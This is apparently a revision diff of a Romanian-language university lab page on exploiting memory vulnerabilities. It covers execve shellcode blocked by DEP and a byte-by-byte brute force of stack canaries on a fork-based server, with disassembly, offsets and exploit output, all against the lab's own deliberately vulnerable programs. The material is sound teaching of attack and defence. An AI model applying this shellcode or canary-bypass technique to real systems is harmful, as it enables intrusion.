- | Pentru a realiza acest lucru am dezactivat mecanismele de protecție din Linux: | + | $ echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' | ./inject-shellcode-dep |
- | * Am dezactivat stack protector/canary value prin opțiunea ''-fno-stack-protector'' la compilare. | + | Segmentation fault (core dumped) |
- | * Am permis ca stiva să fie executabilă prin opțiunea ''-z execstack'' la link-editare. | + | |
- | * Am dezactivat suportul de ASLR prin scrierea în fișierul ''/proc/sys/kernel/randomize_va_space''. | + | $ dmesg |
+ | [2584266.553494] inject-shellcod[28689]: segfault at 55c1fa5f4040 ip 000055c1fa5f4040 sp 00007fff25d0d518 error 15 in inject-shellcode-dep[55c1fa5f4000+1000] | ||
+ | </code> | ||
- | Atacurile reale trebuie să țină cont de aceste mecanisme de protecție care sunt comune pe sistemele de operare moderne. Din acest motiv atacurile sunt dificil de realizat (dar nu imposibil), lucru care face selectă populația celor care sunt capabili să genereze atacuri de exploatare a vulnerabilităților memoriei. | + | Codul de eroare pentru //segmentation fault// este 15, adică acces de execuție la o adresă validă care nu are permisiuni de execuție. |
- | ==== Atacarea Stack Smashing Protection (SSP) ==== | + | ==== Atacarea SSP ==== |
- | Dorim să atacăm mecanismul defensiv //Stack Smashing Protection// (SSP) care presupune plasarea unei valori predefinite pe stivă (numită //stack canary// sau //stack guard//) care detectează atacurile asupra vulnerabilităților de tip buffer overflow ce ar suprasscrie addresa de retur. Pentru aceasta accesăm subdirectorul ''socket-ssp/'' care creează un fork-based server, adică un server ce creează un proces pentru fiecare conexiune; această particularitate ne permite atacarea SSP permițându-ne suprascrierea adresei de retur. | + | Dorim să atacăm mecanismul defensiv //Stack Smashing Protection// (SSP) menționat mai sus. Pentru aceasta accesăm subdirectorul ''socket-ssp/'' care creează un fork-based server, adică un server ce creează un proces pentru fiecare conexiune; această particularitate ne permite atacarea SSP permițându-ne suprascrierea adresei de retur. |
Urmărim conținutul fișierului ''socket_ssp.c''. În acest fișier în funcția ''main()'' se creează un server socket și se acceptă conexiuni de tratarea cărora se ocupă un proces copil. În funcția ''process_client()'' se apelează funcția ''actual_func()''. Obiectivul nostru este să exploatăm vulnerabilitatea de tip buffer-overflow din funcția ''process_client()'' pentru a suprascrie adresa de retur și a apela funcția ''inject_func()''. | Urmărim conținutul fișierului ''socket_ssp.c''. În acest fișier în funcția ''main()'' se creează un server socket și se acceptă conexiuni de tratarea cărora se ocupă un proces copil. În funcția ''process_client()'' se apelează funcția ''actual_func()''. Obiectivul nostru este să exploatăm vulnerabilitatea de tip buffer-overflow din funcția ''process_client()'' pentru a suprascrie adresa de retur și a apela funcția ''inject_func()''. | ||
Line 563: | Line 395: | ||
Programul este compilat cu suport de //Stack Smashing Protection// care plasează stack canary pe stivă în funcția ''process_client()''. Opțiunea de compilare ''-fstack-protector'' este adăugată în fișierul ''Makefile'': | Programul este compilat cu suport de //Stack Smashing Protection// care plasează stack canary pe stivă în funcția ''process_client()''. Opțiunea de compilare ''-fstack-protector'' este adăugată în fișierul ''Makefile'': | ||
<code> | <code> | ||
- | CFLAGS = -Wall -Wextra -g -fstack-protector -fno-PIC | + | CFLAGS = -Wall -Wextra -Wno-unused-function -g -fstack-protector -fno-PIC |
</code> | </code> | ||
- | Compilăm programul (ignorăm warning-ul că funcția ''inject_func()'' nu este apelată, e utilă pentru atacul nostru): | + | <note warning> |
- | <code> | + | **Nu** folosiți comanda ''make'' pentru a regenera executabilul ''socket_ssp''. O nouă compilare va afecta codul generat și payload-ul de exploit din acest demo nu va mai funcționa. |
- | $ make | + | </note> |
- | cc -Wall -Wextra -g -fstack-protector -fno-PIC -I../utils -c -o socket_ssp.o socket_ssp.c | + | |
- | socket_ssp.c:27:13: warning: ‘inject_func’ defined but not used [-Wunused-function] | + | |
- | static void inject_func(void) | + | |
- | ^~~~~~~~~~~ | + | |
- | cc -no-pie socket_ssp.o -o socket_ssp | + | |
- | </code> | + | |
- | și observăm prezența stack canary pe stivă la adresa ''rbp-0x8'' (în cazul nostru), poate fi altundeva în cazul vostru: | + | |
- | <code> | + | |
- | $ objdump -d -M intel socket_ssp | grep -A 6 '<process_client>:' | + | |
- | 00000000004009c3 <process_client>: | + | |
- | 4009c3: 55 push rbp | + | |
- | 4009c4: 48 89 e5 mov rbp,rsp | + | |
- | 4009c7: 48 83 ec 20 sub rsp,0x20 | + | |
- | 4009cb: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 | + | |
- | 4009d2: 00 00 | + | |
- | 4009d4: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax | + | |
- | </code> | + | |
- | În realizarea atacului, ținem cont că la ''fork()'' (modul de tratare a conexiunilor în implementarea ''socket_ssp.c'') se păstrează spațiul de adresă al procesului, se vor păstra și stack canary. Așa că le putem suprascrie din clientul TCP octet cu octet până nimerim. Când nimerim programul nu va genera eroare de tipul //stack smashing detection//. Se va încheia cu succes, va întoarce mesaj pe rețea și atunci știm că am nimerit octetul și trecem la următorul. | + | Pentru a exploata acest program, pașii sunt similari cu exploatarea vulnerabilității de tip buffer overflow din subdirectorul ''buffer-overflow/''. Va trebui să aflăm: |
+ | * care este adresa funcției ''inject_func''; această valoare va suprascrie adresa de retur | ||
+ | * care este offset-ul buffer-ului față de adresa de retur | ||
+ | * care este offset-ul //stack canary// pe stivă față de buffer | ||
- | Atacul este descris în fișierul ''exploit.py''. Pentru a reuși trebuie să știm offset-ul dintre buffer și stack canary și adresa funcției ''inject_func()''. Ambele pot fi obținute prin dezasamblarea codului, identificarea construcției ce referă buffer-ul, valoarea stack canary și adresa funcției ''inject_func()''. | + | Pentru a afla aceste informații, folosim analiză statică. Dezasamblăm exeuctabilul ''socket_ssp'' folosind ''objdump'': |
+ | <code> | ||
+ | $ objdump -d -M intel socket_ssp | ||
+ | [...] | ||
+ | 00000000004009a5 <inject_func>: | ||
+ | [...] | ||
- | De exemplu, pentru a identifica adresa buffer-ului și a stack canary urmărim dezasamblarea funcției ''process_client()'': | ||
- | <code> | ||
- | $ objdump -d -M intel socket_ssp | grep -A 21 '<process_client>:' | ||
00000000004009c3 <process_client>: | 00000000004009c3 <process_client>: | ||
4009c3: 55 push rbp | 4009c3: 55 push rbp | ||
Line 599: | Line 419: | ||
4009c7: 48 83 ec 20 sub rsp,0x20 | 4009c7: 48 83 ec 20 sub rsp,0x20 | ||
4009cb: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 | 4009cb: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 | ||
- | 4009d2: 00 00 | + | 4009d2: 00 00 |
4009d4: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax | 4009d4: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax | ||
4009d8: 31 c0 xor eax,eax | 4009d8: 31 c0 xor eax,eax | ||
Line 608: | Line 428: | ||
4009ec: 89 c7 mov edi,eax | 4009ec: 89 c7 mov edi,eax | ||
4009ee: e8 0d fe ff ff call 400800 <read@plt> | 4009ee: e8 0d fe ff ff call 400800 <read@plt> | ||
- | 4009f3: 90 nop | + | [...] |
- | 4009f4: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] | + | |
- | 4009f8: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28 | + | |
- | 4009ff: 00 00 | + | |
- | 400a01: 74 05 je 400a08 <process_client+0x45> | + | |
- | 400a03: e8 a8 fd ff ff call 4007b0 <__stack_chk_fail@plt> | + | |
- | 400a08: c9 leave | + | |
- | 400a09: c3 ret | + | |
</code> | </code> | ||
- | Adresa buffer-ului este ''rbp-0x20'', adresa stack canary este ''rbp-0x8'', deci ofsset-ul este ''0x20-0x8 = 0x18 = 24''. Este trecută această valoare în ''exploit.py'' | ||
- | Pentru a nu avea un executabil cu suport PIE (//Position Indenpendent Executable//) și pentru a avea adrese fixe pentru funcțiile din cadrul executabilului, am folosit opțiunile corespunzătoare la compilare și linking în ''Makefile'': | + | Din rezultatul dezasamblării extragem informațiile necesare: |
- | <code> | + | * adresa funcției ''inject_func'' este ''0x4009a5'' |
- | CFLAGS = -Wall -Wextra -g -fstack-protector -fno-PIC | + | * buffer-ul este la adresa ''rbp-0x20'' (argumentul apelului ''read'') |
- | LDFLAGS = -no-pie | + | * //stack canary// este plasată pe stivă la adresa ''rbp-0x8'' |
- | </code> | + | |
- | Adresa funcției ''inject_func()'' este fixă și o aflăm folosind ''objdump'': | + | Știm că adresa de retur se găsește pe stivă la adresa ''rbp+0x8''. |
- | <code> | + | |
- | $ objdump -d -M intel socket_ssp | grep '<inject_func>:' | + | În realizarea atacului, ținem cont că la ''fork()'' (modul de tratare a conexiunilor în implementarea ''socket_ssp.c'') se păstrează spațiul de adresă al procesului, se vor păstra și //stack canary//. Așa că le putem suprascrie din clientul TCP octet cu octet până nimerim valoarea acelui octet, conform algoritmului: \\ |
- | 00000000004009a5 <inject_func>: | + | 1. Creăm un mesaj care supascrie doar un octet din //canary value//: umplem spațiul de la buffer la //stack canary// și adăugăm un octet. \\ |
- | </code> | + | 2. Trimitem mesajul pe rețea. \\ |
- | La fel, adresa este trecută în ''exploit.py''. | + | 3. Dacă valoarea nu este cea corectă, procesul copil creat se va încheia cu segmentation fault și conexiune se va încheia. Dacă așa a fost, creștem valoarea cu 1 și încercăm din nou pasul 2. \\ |
+ | 3'. Când nimerim o valoare, programul nu va genera eroare de tipul //stack smashing detection//. Se va încheia cu succes, va întoarce mesaj pe rețea și atunci știm că am nimerit octetul și trecem la următorul.\\ | ||
+ | 4. O dată descoperit un nou octet, mărim mesajul cu un nou octet și trecem la pasul 2. | ||
- | Acum putem realiza atacul. Pornim serverul pe o consolă: | + | Atacul este descris în fișierul ''exploit.py''. Pentru a realiza atacul, avem nevoie de două console: una pe care pornim serverul și una pe care pornim exploit-ul care va crea clienți pentru server. Pornim serverul pe o consolă: |
<code> | <code> | ||
$ ./socket_ssp | $ ./socket_ssp | ||
Line 638: | Line 452: | ||
și atacul pe altă consolă. Atacul va dura să treacă prin toți octeții și să creeze un proces pentru fiecare socket. În final atacul va reuși și vom apela funcția ''inject_func()''. Un exemplu de atac este prezentat în fișierul ''result.txt'': | și atacul pe altă consolă. Atacul va dura să treacă prin toți octeții și să creeze un proces pentru fiecare socket. În final atacul va reuși și vom apela funcția ''inject_func()''. Un exemplu de atac este prezentat în fișierul ''result.txt'': | ||
<code> | <code> | ||
- | $ python exploit.py | + | $ python3 exploit.py |
Canary byte 0 is 0x00 | Canary byte 0 is 0x00 | ||
Canary byte 1 is 0x0c | Canary byte 1 is 0x0c | ||
Line 649: | Line 463: | ||
Exploit result: Called injected function. | Exploit result: Called injected function. | ||
</code> | </code> | ||
+ | |||
+ | <note> | ||
+ | La fiecare rulare a serverului ''socket_ssp'' valoarea //stack canary// diferă așa că rezultatul afișat de exploit (conținutul //stack canary//) va diferi de la rulare la rulare. | ||
+ | </note> | ||